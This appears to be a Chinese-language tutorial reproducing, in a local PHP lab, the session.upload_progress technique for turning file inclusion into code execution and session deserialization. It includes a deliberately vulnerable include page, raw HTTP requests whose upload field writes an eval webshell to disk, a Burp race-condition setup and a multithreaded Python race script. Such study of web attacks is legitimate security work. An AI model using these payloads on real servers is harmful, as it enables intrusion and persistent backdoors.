前言
其实很久之前就了解这个,但太久了,有的细节不太记得,所以复现一下
当 [session.upload_progress.enabled]
(https://www.php.net/manual/zh/session.configuration.php#ini.session.upload-progress.enabled) INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。同样这个功能本身没有什么问题,但是一旦恶意利用,就会造成任意文件包含和session反序列化
php_session_upload_progress 包含
php_session_upload_progress
php可以将文件上传进度保存在session里,版本要求 5.4.0之后且开启 session.upload_progress.enable
如果本身并未开启session既session_start()那么是不会生成一个session文件,但如果session.use_strict_mode为关闭
(默认关闭)那么用户可以自主控制session,如果我们设置一个PHPSESSID=abc 那么会在保存session的目录下生成 sess_abc文件
还有一个配置 session.upload_progress.cleanup 这个配置默认开启,那么再读取了post的参数后会立即清空session里相关的信息
需要在上传文件的表单里添加变量名为 PHP_SESSION_UPLOAD_PROGRESS,然后这个变量的值会保存进session文件里
搭建环境
首先测试的时候是把session.upload_progress.cleanup 关闭掉的
写一个包含文件 include.php
<?php
include($_GET[file]);
?>
为了方便上传,添加上传的htmll表单上传
<!DOCTYPE html>
<html>
<body>
<form action="http://locahost" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="111" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
测试
条件竞争方式
当 sesson.upload_progress.cleanup 为默认值即为开启状态时,会在读取post数据后立马清空保存在进度中的进度信息
为了保证一次条件竞争成功达到长期的效果,所以竞争包含的内容应该是一个写文件的,而不是简单的一句马,之前看到相关的文章,也有这样的现成的exp,用一个脚本去竞争包含
上传任意文件 抓包修改 PHP_SESSION_UPLOAD_PROGRESS 的内容为
<?php file_put_contents('D:\phpstudy_pro\WWW\shell.php','<?php eval($_GET["a"]);?>');?>
抓包
POST /include.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------100598267719523052061779222560
Content-Length: 2361
Origin: http://localhost
Cookie: PHPSESSID=rxxx
Connection: close
Referer: http://localhost/
Upgrade-Insecure-Requests: 1
-----------------------------100598267719523052061779222560
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
111<?php file_put_contents('D:\phpstudy_pro\WWW\shell.php','<?php eval($_GET["a"]);?>');?>
-----------------------------100598267719523052061779222560
Content-Disposition: form-data; name="file"; filename="ä¸è½½.png"
Content-Type: image/png
PNG
拦截请求 设置cookie的PHPSESSID,和PHP_SESSION_UPLOAD_PROGRESS
这样在保存sess的目录下会生成相应的文件(SESS_XXXX)
我这儿是 D:phpstudy_proExtensionstmptmp
然后可以看到
所以我们可以包含一下
成功写入
sesson.upload_progress.cleanup 打开时条件竞争包含
因为我这儿的上传和包含在同一页面,所以上传文件的时候带上get参数
构造报文
POST /include.php?file=D:\phpstudy_pro\Extensions\tmp\tmp\sess_rxx HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------235257548421896974522172539901
Content-Length: 8832284
Cookie:PHPSESSID=rxx
Origin: http://localhost
Connection: close
Referer: http://localhost/
Upgrade-Insecure-Requests: 1
-----------------------------235257548421896974522172539901
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
111<?php file_put_contents('D:\phpstudy_pro\WWW\shel.php','<?php eval($_GET["a"]);?>');?>
-----------------------------235257548421896974522172539901
Content-Disposition: form-data; name="file"; filename="chanzhiEPS.7.7.zip"
Content-Type: application/x-zip-compressed
PK
放进Intruder 爆破,清空预设的爆破点,设置为NULL payload
成功生成shel文件(少打了一个 l )
如果包含和上传不在同一个界面,那么需要同时开两个爆破,一个一直去上传文件,往sess文件里写,另一个提交参数去包含
SESSION_UPLAOD_PROGRESS 的另一个用法
以前做过一些反序列化题目如果没有给反序列化点,但session内容可控,我们去往session里写一个序列化语句,然后读取session时会自动反序列化。
根据上面上传的时候 我们可以看到,可以控制一个PHP_SESSION_UPLOAD_PROGRESS的值,其实我们可控的还有其他的
先看一下之前写的sess文件
upload_progress_111<?php file_put_contents('D:\phpstudy_pro\WWW\shell.php',
'<?php eval($_GET["a"]);?>');?>
|a:5{s:10:"start_time";i:1627389682;s:14:"content_length";i:2451;s:15:
"bytes_processed";i:2451;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:10:"下
载.png";s:8:"tmp_name";s:46:"C:\Users\R1gelX\AppData\Local\Temp\php
5E77.tmp";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1627389682;s:15:"bytes_processed";i:2004;}}}
可以看到除了开头的upload_progress 后那一段为PHP_SESSION_UPLOAD_PROGRESS的内容 应该是申明属于哪一个文件上传进程的数据。后面就是文件的其他数据,还有就是
看到post报文的这一段
Content-Disposition: form-data; name="file"; filename="chanzhiEPS.7.7.zip"
其实我们可以控制文件名,然后我们将文件名改为 序列化的数据
例如 题目中这样写 ini_set('session.serialize_handler','php'); 就需要加 | ,这样它会将前面的所有值读作键,后面的全部反序列化
其次在上传的时候一定要选择大文件,可以提高竞争成功几率(默认 cleanup那个配置文件是开启的,可理解为阅后即焚)
可以选择一个大文件用burp,但是burp好像有报文长度限制,网上也找到一个脚本可以利用(稍微修改了一点点)
#coding=utf-8
import requests
import threading
import io
import sys
def exp(host):
f = io.BytesIO(b'a' * 1024 *1024*1)#尽量大一点
while True:
et.wait()
url = host
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'DNT': '1',
'Cookie': 'PHPSESSID=20190506',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
proxy = {
'http': '127.0.0.1:8080'
}
data={'PHP_SESSION_UPLOAD_PROGRESS':'123'}
files={
'file':(r'|输入序列化字符串',f,'text/plain')
}
resp = requests.post(url,headers=headers,data=data,files=files,proxies=proxy) #可以burp抓包看看
resp.encoding="utf-8"
if len(resp.text)<2000:
print('[+++++]retry')
else:
print(resp.content.decode('utf-8').encode('utf-8'))
et.clear()
print('success!')
if __name__ == "__main__":
host=sys.argv[1]
et=threading.Event()
for i in xrange(1,40):
threading.Thread(target=exp,args=(host)).start()#多线程提高爆破几率
et.set()
拿到脚本输入响应数据 直接向需要session反序列化的页面打就行